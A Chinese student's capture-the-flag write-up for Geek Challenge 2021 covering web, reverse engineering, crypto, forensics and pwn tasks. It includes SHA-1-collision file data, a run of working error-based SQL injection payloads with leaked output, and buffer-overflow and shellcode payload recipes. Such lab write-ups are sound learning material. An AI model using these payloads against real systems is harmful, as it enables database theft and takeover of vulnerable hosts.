54%59%4C%45%3E%62%6F%64%79%7B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A %52%45%44%3B%7D%20%68%31%7B%66%6F%6E%74%2D%73%69%7A%65%3A%35%30%30%25%3B%7D%3C%2 F%53%54%59%4C%45%3E%3C%48%31%3E%26%23%78%31%66%36%34%38%3B%3C%2F%48%31%3E%22%3B% 0A%7D%20%65%6C%73%65%20%7B%0A%20%20%20%20%64%6F%63%75%6D%65%6E%74%2E%62%6F%64%79 %2E%69%6E%6E%65%72%48%54%4D%4C%20%3D%20%22%3C%53%54%59%4C%45%3E%62%6F%64%79%7B%6 2%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%42%4C%55%45%3B%7D%20%68%31%7B% 66%6F%6E%74%2D%73%69%7A%65%3A%35%30%30%25%3B%7D%3C%2F%53%54%59%4C%45%3E%3C%48%31 %3E%26%23%78%31%66%36%34%39%3B%3C%2F%48%31%3E%22%3B%0A%7D%0A%0A%3C%2F%73%63%72%6 9%70%74%3E%0A%0A 和 %25%50%44%46%2D%31%2E%33%0A%25%E2%E3%CF%D3%0A%0A%0A%31%20%30%20%6F%62%6A%0A%3C%3 C%2F%57%69%64%74%68%20%32%20%30%20%52%2F%48%65%69%67%68%74%20%33%20%30%20%52%2F% 54%79%70%65%20%34%20%30%20%52%2F%53%75%62%74%79%70%65%20%35%20%30%20%52%2F%46%69 %6C%74%65%72%20%36%20%30%20%52%2F%43%6F%6C%6F%72%53%70%61%63%65%20%37%20%30%20%5 2%2F%4C%65%6E%67%74%68%20%38%20%30%20%52%2F%42%69%74%73%50%65%72%43%6F%6D%70%6F% 6E%65%6E%74%20%38%3E%3E%0A%73%74%72%65%61%6D%0A%FF%D8%FF%FE%00%24%53%48%41%2D%31 %20%69%73%20%64%65%61%64%21%21%21%21%21%85%2F%EC%09%23%39%75%9C%39%B1%A1%C6%3C%4 C%97%E1%FF%FE%01%73%46%DC%91%66%B6%7E%11%8F%02%9A%B6%21%B2%56%0F%F9%CA%67%CC%A8% C7%F8%5B%A8%4C%79%03%0C%2B%3D%E2%18%F8%6D%B3%A9%09%01%D5%DF%45%C1%4F%26%FE%DF%B3 %DC%38%E9%6A%C2%2F%E7%BD%72%8F%0E%45%BC%E0%46%D2%3C%57%0F%EB%14%13%98%BB%55%2E%F 5%A0%A8%2B%E3%31%FE%A4%80%37%B8%B5%D7%1F%0E%33%2E%DF%93%AC%35%00%EB%4D%DC%0D%EC% C1%A8%64%79%0C%78%2C%76%21%56%60%DD%30%97%91%D0%6B%D0%AF%3F%98%CD%A4%BC%46%29%B1 %3C%68%74%6D%6C%3E%0A%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%6A%61%7 6%61%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72% 69%70%74%22%3E%0A%3C%21%2D%2D%20%40%61%72%77%20%2D%2D%3E%0A%0A%76%61%72%20%68%20 %3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%6 7%4E%61%6D%65%28%22%48%54%4D%4C%22%29%5B%30%5D%2E%69%6E%6E%65%72%48%54%4D%4C%2E% 63%68%61%72%43%6F%64%65%41%74%28%31%30%32%29%2E%74%6F%53%74%72%69%6E%67%28%31%36 %29%3B%0A%69%66%20%28%68%20%3D%3D%20%27%37%33%27%29%20%7B%0A%20%20%20%20%64%6F%6 3%75%6D%65%6E%74%2E%62%6F%64%79%2E%69%6E%6E%65%72%48%54%4D%4C%20%3D%20%22%3C%53% 54%59%4C%45%3E%62%6F%64%79%7B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A %52%45%44%3B%7D%20%68%31%7B%66%6F%6E%74%2D%73%69%7A%65%3A%35%30%30%25%3B%7D%3C%2 F%53%54%59%4C%45%3E%3C%48%31%3E%26%23%78%31%66%36%34%38%3B%3C%2F%48%31%3E%22%3B% 0A%7D%20%65%6C%73%65%20%7B%0A%20%20%20%20%64%6F%63%75%6D%65%6E%74%2E%62%6F%64%79 %2E%69%6E%6E%65%72%48%54%4D%4C%20%3D%20%22%3C%53%54%59%4C%45%3E%62%6F%64%79%7B%6 2%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%42%4C%55%45%3B%7D%20%68%31%7B% 66%6F%6E%74%2D%73%69%7A%65%3A%35%30%30%25%3B%7D%3C%2F%53%54%59%4C%45%3E%3C%48%31 %3E%26%23%78%31%66%36%34%39%3B%3C%2F%48%31%3E%22%3B%0A%7D%0A%0A%3C%2F%73%63%72%6 9%70%74%3E%0A%0A ![](Geek2021/image-20211116203951455.png) 打开后发现要让id=longlone 但是longlone是要编码两次的 因为浏览器会编码一次 ![](Geek2021/image-20211116204006588.png) flag{PHP_1s_fu1king_awesome} **12吊毛验证码** ![](Geek2021/image-20211116204026006.png) ![](Geek2021/image-20211116204035415.png) ![](Geek2021/image-20211116204046712.png) ![](Geek2021/image-20211116204057603.png) ## 13**反弹****SHELL** 也就是 ## 14**anothersql** floor报错注入 ![](Geek2021/image-20211116204119673.png) 百度一个payload ![](Geek2021/image-20211116204133599.png) ![](Geek2021/image-20211116204141347.png) Duplicate entry 'trueflag~1' for key ' Duplicate entry 'global_status~0' for key '' Duplicate entry 'COLLATION_NAME~1' for key '' ![](Geek2021/image-20211116204158959.png) ![](Geek2021/image-20211116204207417.png) ~id~1 ![](Geek2021/image-20211116204219783.png) Duplicate entry '~1~1' for key ' ![](Geek2021/image-20211116204235611.png) ![](Geek2021/image-20211116204243471.png) uplicate entry '~SYC{U_4N0vv_3rR0r_Inj3c410n}~1' for key ' -1 'union select (select 1 from(select count(*),concat((select concat(COLLATION_NAME,0x7e)),floor(rand(0)*2))x from information_schema.columns group by x)a),2,3,4 # Duplicate entry 'utf8_general_ci~1' for key ' -1 'union select (select 1 from(select count(*),concat((select concat(database(),0x7e)),floor(rand(0)*2))x from information_schema.tables group by x)a),2,3,4 # true____flag~1 -1 'union select (select 1 from(select count(*),concat((select concat(true____flag~,0x7e)),floor(rand(0)*2))x from information_schema.columns group by x)a),2,3,4 # -1' union select (select 1 from (select count(*),concat((select concat(0x7e,table_name,0x7e)from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),2,3,4 # -1' union select (select 1 from (select count(*),concat((select concat(0x7e,column_name,0x7e)from information_schema.columns where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),2,3,4 # -1' union select (select 1 from (select count(*),concat((select concat(0x7e,id,0x7e)from true____flag.syclover limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),2,3,4 # -1' union select (select 1 from (select count(*),concat((select concat(0x7e,id,0x7e)from true____flag.syclover limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),2,3,4 # -1' union select (select 1 from (select count(*),concat((select concat(0x7e,column_name,0x7e)from information_schema.columns where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),2,3,4 # 123123 会不会是redis密码? 任务提示端口 -1' union select (select 1 from (select count(*),concat((select concat(0x7e,1,0x7e) from id limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),2,3,4 # -1' union select (select 1 from (select count(*),concat((select concat(0x7e,column_name,0x7e)from information_schema.columns where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a),2,3,4 # -1' union select (select 1 from (select count(*),concat((select concat(0x7e,column_name,0x7e)from information_schema.columns where table_schema=database() limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a),2,3,4 # -1' union select (select 1 from (select count(*),concat((select concat(0x7e,column_name,0x7e)from information_schema.columns where table_schema=database() limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a),2,3,4 # -1' union select (select 1 from (select count(*),concat((select concat(0x7e,flag,0x7e)from true____flag.syclover limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),2,3,4 # 这是我用过的语句,我也不知道哪个有用了,但是就是用这些查出来的 **15GIVE ME YOUR LOVE**

用BP扫端口试试

RE

1.easypyc

先将这个pyc文件搞成py文件

首先如何生成py文件:

一,打包成的文件需要先解压找到pyc目录。解压用到的工具pyinstxtractor.py,在Github上有直接下载就欧克。

使用方法:将exe文件放在同一个包下,在文件路径下打开cmd,

运行python pyinstxtractor.py <待解包文件名.ex>

生成一个<待解包文件名>_extracted 文件夹即为成功

二,寻找相应的pyc文件

一般会生成多个多个pyc文件,我们需要的是与 <待解包文件名>相同的pyc文件

正常情况下,该pyc文件无法直接进行反编译,在将python文件打包成exe文件的过程中,会抹去

pyc文件前面的部分信息,所以在反编译之前需要检查并添加上这部分信息。

丢失的信息一般存储在struct关键字命名的文件里面

用winhex打开两个文件,一般情况下就是通过把struct文件的前十六个字节复制到待编译pyc文件之前 三,反编译怎么办!建议不使用在线编译,我们用cmd中命令:

uncompyle6 easy.pcy > easy.py

就会有反编译后的py文件出来!

当然以上所有操作必须在同一路径下进行!

uncompyle6 version 3.7.4

Python bytecode 3.8 (3413)

Decompiled from: Python 3.8.3 (tags/v3.8.3:6f8c832, May 13 2020, 22:37:02) [MSC v.1924 64 bit (AMD64)]

Embedded file name: easypyc.py

whatbox = [ 0] * 256

def aaaaaaa(a, b):

k = [ 0] * 256

t = 0

for m in range(256):

whatbox[m] = m

k[m] = ord(a[(m % b)])

else:

for i in range(256):

t = (t + whatbox[i] + k[i]) % 256

temp = whatbox[i]

whatbox[i] = whatbox[t]

whatbox[t] = temp

def bbbbbbbbbb(a, b):

q = 0

w = 0

e = 0

for k in range(b):

q = (q + 1) % 256

w = (w + whatbox[q]) % 256

temp = whatbox[q]

whatbox[q] = whatbox[w]

whatbox[w] = temp

e = (whatbox[q] + whatbox[w]) % 256

a[k] = a[k] ^ whatbox[e] ^ 102

def ccccccccc(a, b):

for i in range(b):

a[i] ^= a[((i + 1) % b)]

else:

for j in range(1, b): a[j] ^= a[(j - 1)]

if name == ‘main‘:

kkkkkkk = ‘Geek2021’

tttttt = [117, 62, 240, 152, 195, 117, 103, 74, 240, 151, 173, 162, 17, 75, 141, 165, 136, 117, 113, 33, 98, 151, 174, 4, 48, 25, 254, 101, 185, 127, 131, 87]

ssss = input(‘Please input your flag:’)

inp = [0] * len(ssss)

if len(ssss) != 32:

print(‘Length Error!!!!’)

exit(0)

for i in range(len(ssss)):

inp[i] = ord(ssss[i])

else:

aaaaaaa(kkkkkkk, len(kkkkkkk))

bbbbbbbbbb(inp, 32)

ccccccccc(inp, 32)

for m in range(32):

if tttttt[m] != inp[m]:

raise Exception(‘sorry your flag is wrong’)

print(‘success!!!!!!’)

print(format(ssss))

print(‘your flag is {}’.format(ssss))

简单说一下过程,输入的flag应该是32位将32位字符转换成十进制,在经过aaaaaa,bbbbbbbbb,ccccccccc这三个函数,最后进行比较。那么我们现在有tttttt这个值就可逆向出来我们想要的flag了。

先通过aaaaa这个函数把whatbox解出来,虽然能从这个函数看出这应该是RC4编写的!

在逆向时,应把函数定义去掉,带着函数定义做是不明智的选择!

2.new_language

这是一道c#的题,这次逆向感觉很怪,出的都是各种别的语言的逆向,但本质就是找一个软件给他搞成c语言,这个也不例外,我们用dnspy这个软件,将文件在软件中打开

进入main函数

简单分析一下:

flag的长度是38,然后给出flag格式,然后进入循环加密

加密完再进行比较,其中加密这一步经过我多次改代码发现当sbox下标与i是一致时,答案正确,但为什么还是有些不太清楚,还得再看看巨佬们写的wp,接下来就就可以写脚本了!

加上外套即可!

3.珍惜生命

源码按照上面一道题的规则可以搞出来

我们讲解一下本题思路,输入flag和key,将给定的key进行加密,得到新的KEY,再用KEY与tmp做运算,之后对比给定flag是否一致。这么复杂的key加密肯定是要用我们z3库的了!

给出脚本

接下来,解出key

排一下序得到key,我们接下来给出flag脚本:

得到flag前后记得加SYC{}

学到了在python中[a:b],是下标从a到b,左闭右开!

SYC{W3$c0m3_T0_th3_py_w0r1d_@nd_z3_1s_s0000_g00d!!}

4.Re0

很简单,打开查strings即可。

SYC{Welcome_to_Geek_challenge2021}

5.Re1

打开ida,发现这个题就两个函数,我们先点进去第一个函数

这一看就是一个base64加密,我们点进这个常数aAbc…..发现连表都没换!!!

那就非常简单了

得到U1lDe1hPUl9hbmRfYmFzZTY0X2FyZV90aGVfYmFzaXNfb2ZfcmV2ZXJzZX,在线解密一下

flag:SYC{XOR_and_base64_are_the_basis_of_reverse}

6.win32

这道题我们可以看出是加壳的,这里说一下怎么去壳,用upx,将文件放在upx目录下,我们在upx目录下启动cmd,输入upx.exe -h,会装上很多东西。

输入加壳命令:upx win32.exe :显示加壳成功。

使用脱壳命令:upx -d win32.exe:提示脱壳成功。

脱壳成功后就可以拖到ida中

虽然这道题我什么都看不懂,但是我们有hints:base64,所以我们查表

有table,还有字符串,并且table没变,直接复制字符串base64解码

FLAG:SYC{y0u_g3t_A_f1ag_by_cyberloafing_auth0r}

7.调试

64位无壳程序

这道题我没用idapatch修改,进入main函数看到字符串

797G91WhVFeM465FoGJuWpHKDro2QyCixboJV7uhVAV2pfxkhtiTo3CHd7a

base58解码直接出答案:SYC{C0ngr@tuIatlOns_thls_1s_th3_r!gHt_f!ag}

CRYPTO

8.Classical music

给了个文本,提示是in einem baechlein helle da schoss in froher eil

qy sdrgx bswkjlpuh zmntp rv wesokk qp fcabwz gqw
rdi nlufaaehp rijmntp ‘jjvwmej’ oqg etz jxmkt
tqc wvlnv sv fex sykbclp iih ulh af awedeyj ‘zwp’
osn qwytwjv hidobdmkvd pvhg tm cditey nuwkjtpwi dw
pif xqucsql eqv lpf myvp wgzt cn oqg mngz dhvrf
fnv kij mtf estvmx pgyvp waw akcs puk nkanvgiky wsfl
uowmhy lgu honwgc hwdtg sz puupv qnv imest ywjtintn
kw hipbbx gc daw ’nqrpxfwukb‘ dsdrgc afymn ntobl
lqks sihntcz oitd oqg vqgjp rdi bpil rc nays yj ucksh
yeu ‘mauztgiy’ fowkmqdqc xtfetw cpd pt cup ga rsyeest
kg hwcvfy kmkvp fpxg oak xqucsxyav biadzpv orsf
cpd tob eqv zpuzq dwulw ach ouy tmvzzu ii cy
cgfvgce fbw nnir kdxj fnvwzuczdyk ipl lry yraejuiue dkw svf kffgc dcauwa vhp rfso ka wcritnakw sgy

维吉尼亚密码直接出来答案

iloveclassicalmusic一直重复

SYC{i_love_classical_music}

9.三个也可以

一个简单的RSA加密,只不过有3个质数,给出脚本:

10.Superposition under the starry sky

考的是LCG线性同余,非常简单,

给出脚本:

b’SYC{The_rain_drenched_the_sky}’

11.easy house of Classic Crypto

so easy,就是答案不太好拼起来

得到flag

12.Random

这个考察的是MT19937,参考了一下之前的SUCTF的脚本,源码都几乎一样。。。

这个题意思解释一下:flag先用bytes_to_long转换再用bin转换成二进制,那么转换回来就要用long_to_bytes,再用int(xx,2)转换成10进制,完成逆向

在经过下面的运算产生随机数,其中最重要的是change这一个函数

可以产生随机数,引用原题wp的一句话:随机数发生器MT19937在从状态提取32bits随机数时进行四步平移和异或运算,但该四步运算均为可逆运算,从而导致可从32bits随机数还原状态。

我们给出脚本:

from Crypto.Util.number import *

data = [389902299, 3515959351, 2216779731, 2601284435, 514154742, 4172047173, 2921107804, 2217826537, 4248207905, 1322376767]
c = ‘01101100010001011100100011111110110000101111000001100001110010001100111000110010111101011111100101011100111011110100001010100111100000010101100011001000011111110111111001010000010000111000101000011111011101001011110001010100100011001010001001111110011111100101111010000010101011100010001111011001010010001010001110001111’

def decrypt_left(cipher, blocksize, mask):
plain = cipher
t = cipher
for i in range(32 // blocksize):
tt = (t << blocksize) & mask
plain = plain ^ tt
t = tt
return plain

def decrypt_right(cipher, blocksize, mask):
plain = cipher
t = cipher
for i in range(32 // blocksize):
tt = (t >> blocksize) & mask
plain = plain ^ tt
t = tt
return plain

def invert(block):
block = decrypt_right(block, 18, 0xffffffff)
block = decrypt_left(block, 15, 4022730752)
block = decrypt_left(block, 7, 2636928640)
block = decrypt_right(block, 11, 0xffffffff)
return block

def transform(message):
for i in range(len(data)):
data[i]=invert(data[i])
rand = ‘’

for i in range(len(data)):
    rand+=bin(data[i])[2:].zfill(32)

flag = ''

for i in range(len(message)):
    flag+=str(int(message[i], 2)^int(rand[i], 2))

print(long_to_bytes(int(flag, 2)))

transform(c)

解出flag

CRYPTO总结:剩余的密码题我还是很关注的,我个人比较热爱数学,baby house of rsa 应该不难的,但我不知道要求什么,还是没有认真进行下去,我还是很喜欢密码的!

MISC

13.圣嘉然

我们打开文件

提示用winrar解开,我刚开始以为是用mount挂载,但输入strings +file是能查里面有什么字符串,发现有flag.txt,这个时候想用mount ans2 /mnt ,挂载,但不行,原因是其是data数据,需要修复。我们根据提示用winrar修复,但修复后提示还是有错误,我试了一下用360压缩打开,发现成功了!

打开文件

我好想做嘉然👪小姐的狗啊。 可是嘉然小姐说她喜欢的是猫🐘,我👰哭了。 我知道既不是狗也不是猫的我为什么要哭的。因为我其实是一只老鼠 👣。 我从没奢望嘉然小姐能喜欢自己👴。我明白的,所有人都喜欢理解余裕上手天才打钱的萌萌的狗狗或者猫猫👚,没有人会喜欢阴湿带病的老鼠。 但我还是问了嘉然小姐:“我能不能做你的狗?” 我知道我是注定做不了狗👜的。但如果她喜欢狗,我👲就可以一直在身边看着她了,哪怕她怀里抱着的永远都是狗。 可是她说喜欢的是猫。 她现在还在看着我,还在逗我开心,是因为猫还没有出现,只有我这老鼠每天蹑手蹑脚地从洞👞里爬出来,远远地和她对视。 等她喜欢的猫👛来了的时候,我就该重新滚回我👥的洞了吧。 但我还是好喜欢她👠,她能在我还在她身边的时候多看我几眼吗👘? 嘉然小姐说接下来的每个圣诞夜都要和大家一起过👘。我不知道大家指哪些人👖。好希望这个集合能够对我做一次胞吞👥。 猫猫👰还在害怕嘉然小姐。 我会去把她爱的猫猫引来的👘。 我👤知道稍有不慎,我就会葬身猫🐘口。 那时候嘉然小姐大概会把我的身体好好地装起来扔到门外👖吧。 那我就成了一包鼠条👰,嘻嘻👜。 我希望她能把我扔得近一点🐧,因为我还是好喜欢她👩。会一直喜欢下去的。 我的灵魂透过窗户向里面看去,挂着的铃铛在轻轻鸣响,嘉然小姐慵懒地靠在沙发上,表演得非常温顺的橘猫坐在她的肩膀👬。壁炉的火光照在她的脸庞,我冻僵的心脏在风里微微发烫👘👖。 —新户眠子

我们提取表情,

这肯定是栅栏密码:s!yl}ce{gdniaa_nyam!ye0rua

这肯定是栅栏密码:s!yl}ce{gdniaa_nyam!ye0rua

14.说实话挺好玩的,不是吗?

本题打开是一个word文档,用zip打开后发现提示是一个8位数字,那么就开始暴力破解:

推荐用advanced Office Password Recovery(呜呜呜,我花了6块钱),但破解八位数字太慢,我破解了一天电脑就起飞了,自动关机了,就破防了。然后发现了个网站能够直接破解密码。

破解完打开文档,显然是个隐写,这里用到snow隐写,将空白可以复制到文档中,当然我们可以用制表符,看的更清楚:

将txt放在snow目录下

SYC{misc_mei_qian_tu}

15.每日一溜

这个题需要用到wireshark:

Wireshark(前称Ethereal)是一个网络封包分析软件。网络封包分析软件的功能是撷取网络封包,并尽可能显示出最为详细的网络封包资料。Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换。— 百度百科

我们将文件拖入

这种题一般先找字符串搜索是否有直接的flag,用ctrl+f进行搜索。接下来我们找到http,因为只有http才可以传输我们想要的数据,接下来我们可以点击鼠标右键追踪流,选择tcp或者http查看是否有flag

我们发现是一个png格式,我们有两种方法能将图片提取出来:

1.找到

我们右键将其16进制码copy下来,转成base64编码后,用在线网站,将base64转成图片,但保存的时候是php文件,对于我这种没接触过web的萌新有些小难度。

2.我们直捣黄龙:查看POST数据包 - Media Type - 导出分组字节流

右键导出字节流,我们得到了一个bin文件

下面,我们放到虚拟机中,binwalk一下

暗藏玄机,我们将zip文件分离出来

发现txt文件,一看就是换表的base64解密,给出脚本!

给出脚本:import base64

data=’FhMrPh94JHqS2jGQGM6QCsaDzI6ZyHqQQB’ t1=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/‘ t2=’vwxrstuopq34567ABCDEFGIHJyz021PQRSTKNMLOZabcdUVWXYefghijklmn89+/‘ result =’’

for ch in data:

result += t1[t2.index(ch)]

result =bytearray(base64.b64decode(result+”==”))

print(result)

16.PANDORA PARADOXXX

重申一下我是学RE的!!!!

这个题太难受了我,给了张图片,binwalk一下,提取zip文件

第一层加密:

使用ziperello来破解,是6位数字:513692

打开有第二层:

我选择用数字+字母大小写6位破解:得到密码Maimai

还有一层我也是无语了。。。

我用字典破出是challenge,果真跟hints里一样。。。

打开就是flag!

17.SGA Character

给了一张神奇的图片

太熟悉了,这不就是mc附魔书上的文字吗,是银河字母对照表,找一份对照表从后往前找flag!

18.今天有被破防吗?

这是一道RGB类型的题

附上一篇例题:https://blog.csdn.net/qq_43342566/article/details/102418732?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163678908816780264069308%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=163678908816780264069308&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~baidu_landing_v2~default-1-102418732.pc_search_mgc_flag&utm_term=rgb+misc&spm=1018.2226.3001.4187

我们用notepad++打开发现啊1166400行,而且是3个16进制数,1166400=1080*1080,介绍一下tuple(),tuple是一个元组,且tuple主要是可以返回出多个值,用int(xx,16)可以将16进制转换成十进制,split的用法是进行字符串切片,strip()作用是去掉左右两端的空格,最后存为一张图片即可。

我太菜了。。。。。

有图片,我学了一下午咋还原图片。。。。。太菜了不会啊。。。只能将来看别人的wp

我直接手动拼接!

大概出来了,其中要镜像一下,输入的时候发现不对,原来是要加下划线。。。。

还是我太菜了。

19.EzForensics

简单取证:如果volatlity一直报错说未找到命令,是因为少了一个命令,系统会提示

先输入volatility -f SSSSSSSSS.raw imageinfo 获得镜像信息,可知系统为Win7SP1x64

我们可以使用volatility -f SSSSSSSSS.raw –profile=Win7SP1x64 pslist来查进程

接下来一个个查历史:

volatility -f SSSSSSSSS.raw –profile=Win7SP1x64 iehistory 无

再查文件

把所有文件下载下来volatility -f SSSSSSSSS.raw –profile=Win7SP1x64 dumpfiles -Q 0x000000007ebcf900 –dump-dir=./ 再查其中内容

当查到最后一个文件时,突然找到了我们想要的地址:rigelx.top

我们按hints第二步,寻找下载文件volatility -f SSSSSSSSS.raw –profile=Win7SP1x64 filescan | grep -i download

dat肯定不对,所以推测是L0v3r.f,标准奇怪!

第三个hint:查阅资料发现方法

我们要找到用户名,首先要查注册表volatility -f SSSSSSSSS.raw –profile=Win7SP1x64 hivelist

那么其中0x8bc1a1c0是相当于本题中\REGISTRY\MACHINE\SYSTEM的地址即0xfffff8a000024010

找到用户名P0TT3R

SAM:0xfffff8a000e36010

system:0xfffff8a000024010

0x000000007ebb0070 1 1 RW-rw- \Device\HarddiskVolume3\P0TT3R-20211009-044021.raw

暴毙,找不到密码,用哈希也没用,很难受。

20.三叶草聚会

给了一个hint,用记事本打开

满屏的好像是base64加密,要么换图片,要么换文字,但根据提示应该是需要ssh来搞,但是确实没时间了,日后会研究一下ssh的操作。

21ezA+B

1
2
3
4
5
6
7
8
9
#include<stdio.h>
int main()
{
long A,B,sum;
scanf("%ld %ld",&A,&B);
sum=A+B;
printf("%ld",sum);
return 0;
}

22烧饼

1
2
3
4
5
6
7
8
9
10
#include<stdio.h>
int main()
{
int x;
double ans;
scanf("%d",&x);
ans=x*2.7453;
printf("%.2lf",ans);
return 0;
}

23出勤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include<stdio.h>
int main()
{
int n;
double m;
int i=0;
scanf("%d",&n);
if(n>=0&&n<=50)
{
m=n;
}
else if(n>=50&&n<=100)
{
m=50+(n-50)*0.7;
}
else
{
m=50+50*0.7+(n-100)*0.5;
}
i=(int)m/50;

printf("%.1f %d",m,i);
return 0;
}

24美国人

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h>
int main()
{
int a,b,c,d;
int x,y;
scanf("%d %d %d %d",&a,&b,&c,&d);
x=c-a;
y=d-b;
if(a==c&&b==d)
{
printf("24 0");
return 0;}
if(y<0)
{
x--;
y=60+y;
}
if(x<0) x=24+x;
printf("%d %d",x,y);
return 0;
}

25五则运算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include<stdio.h>
int main()
{
int a,b;
char c;
scanf("%d%c%d",&a,&c,&b);
switch(c)
{
case '+':
printf("%d",a+b);
break;
case '-':
printf("%d",a-b);
break;
case '*':
printf("%d",a*b);
break;
case '/':
if(b!=0)
{
if(a/b<(double)a/b)
{printf("%.2f",(double)a/b);
break;}
else
{
printf("%d",a/b);
break;
}

}
else{
printf("error");
break;}
case '%':
printf("%d",a%b);
break;
default :
printf("error");
break;
}
return 0;
}

超时了我不理解!

26平均值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<stdio.h>
int main()
{
int a;
long long b=0;
int t=0;
double s;
while(1)
{
scanf("%d",&a);
if(a==-1)break;
b+=a;
t++;
}
s=(double)b/t;
printf("%.2lf",s);
return 0;
}

MISC总结:刚开始什么都不会写,但经过我在csdn上翻别的师傅写的各种题型,还是对这些题有了一定的感觉吧,很好玩,做出来令人激动,但我把洛谷忘了,只剩四个小时的时候才开始写,算是有点遗憾吧,其中取证这个题是我觉得最难受的,只差一个密码,直到14号将近结束我还在找密码,意难平!!

PWN

27.check in

简单写一下pwn常用的知识点总结:

gdb file
先设断点b main——》找到地址,或者b 地址
run/r是运行
s是步入
n是步过
ebp是上一个函数的栈底
esp是栈顶,但esp在栈的底部,因为在栈中地址由高到低
stack 24,可看24个stack
比ebp高一位的就是返回地址
把ebp return的数据返回到shell就是攻击,所以要找eax和ebp之间的位数
io.remote(“xxxxx”,xxx)远程启动本地程序
io=process(“./file”)就是启动进程
io.recvline()显示一行输出的字符串
io.recv()是把字符串全输出
payload=b’A’*位数+b’B’*4字节+p64(sh地址)
io.sendline(payload)向机器发送指令
io.interactive()进入交互模式——》拿下控制权
其中pwd是显示地址,ls显示文件夹目录下文件
可用python脚本攻击,vim file
然后python3 file。
但shellcode一般写在栈和bss区,但栈有保护措施即NX保护
ALSR保护:随即地址,0不随机,1半随机,栈每次都不同,2全随机即内存也随机
PIE保护随机化elf文件映像,bss,txt,data即转存到内存的
pwntools中shellcode的输出
context.arch=”amd64”
shellcraft.amd64.sh()——》若无shellcode入口则采用此方法
print(shellcraft.amd64.sh())——》输出shellcode的汇编码
asm(shellcraft.amd64.sh())——》变成机械码
chardet可判断字符串是utf8还是ascii
import chardet
chardet.detect(b”abc123”)

简单说一下:setvbuf是为了不让系统卡顿,用alarm来限制时间,然后就照着运算即可。

该题是在规定时间内计算四则运算,手算显然不行,因为我手算了4个就暴毙了。我服了,我的wp不见了,就剩两张张图片了,但应该没问题,我是参照去年极客的写的脚本

我们要做的就是利用脚本将num1和num2提取出来,相加发送回去。

但定义四个函数太拉了,我们的目标不过是提取num1和num2,稍微改了一下。

这样就可以pwn掉了!

28.恋爱小游戏

第一道pwn题目诞生了;

先gbd一下有什么保护

接下来设断点b main,找到断点,然后r。

一直nnnnnnnn,找到入口read函数,s单步进入

一直s,直到让输入字符,因为buf数组24,输入24个垃圾字符,a*24

看rsp,rbp地址的差就是我们所需,0xfffffffdfb0-0xfffffffdf90=32,记得gdb中是越往下地址越高。

再查看我们要跳转的system的地址:

所以可以进行交互了,代码如下,其中我们发现有一串乱码,经查阅这是py3的小问题,我们可以通过:

查看乱码是什么编码
import chardet
response = chardet.detect(b’\xe5\xbd\x93\xe5\x89\x8d\xe7\x9b\xae\xe5\xbd\x95\xe4\xb8\x8b\xe6\x89\x80\xe6\x9c\x89\xe6\x96\x87\xe4\xbb\xb6\xe5\x90\x8d\xe6\xb1\x87\xe6\x80\xbb\xe5\x88\x97\xe8\xa1\xa8’)
print(response)

进行转换

当我输入cat flag.txt

得到flag;

flag{7536ddd9-5e99-4606-94cf-1e65dae937e1}

29.恋爱小游戏2

写本题是学到的pwn:

vim file用来创建可写语言,
gcc file用来读所写内容,当然可以读elf,如输完gcc file后,ls,显示a.out,再cat,显示机械码。
ls为所属文件下的文件名
局部变量存在栈(stack)中,
heap可存字符串
内存中got存储偏移量
未初始化全局变量被存在内存中的bss中,且不占用磁盘空间,但占用内存空间。
像main函数,字符串等内容被存在text之中。
(有顺序)
大端序:低地址在高位
小端序:低地址在低位(常用)
硬件只能与硬件联系
靠近cpu的存储器价格高,重要,速度慢
内存(memory)断电不保存所以需要外存。
cpu的寄存器作用是存放正在运行cpu的数据
read函数会读取我们在屏幕上输入的内容,但不会检查内容的多少,全部复制到str里,但str只能存取20个,如果超出这个值,会造成溢出

打开ida发先与之前不一样必须等与loveyou才能到binsh

之后拉到linux,先checksec然后再gdb发现与之前一样,此时可确定要填32个垃圾值,其中要包括loveyou,但是这样不行,经过网上查阅,发现输入字符串后面必须要给\0一位,所以就有如图

或者payload=b’loveyou’+rjust(0x20, b’A’)

那么rjust函数作用:str.rjust(width[, fillchar]),

  • width – 指定填充指定字符后中字符串的总长度.
  • fillchar – 填充的字符,默认为空格。

而且要填充到字符串最左侧!!

30.ret2xxone

一些学pwn的汇编知识:

int sprintf(v8(char *buffer), const char *format, v4[argument]…)) ,功能是将v4转为16进制再赋值给V8
strcat(v10,v4):v4接在v10后面
format:格式化字符串,即在程序中想要的格式
jnz结果不为零(或不相等)则转移。

jz即零标志为1就跳转。

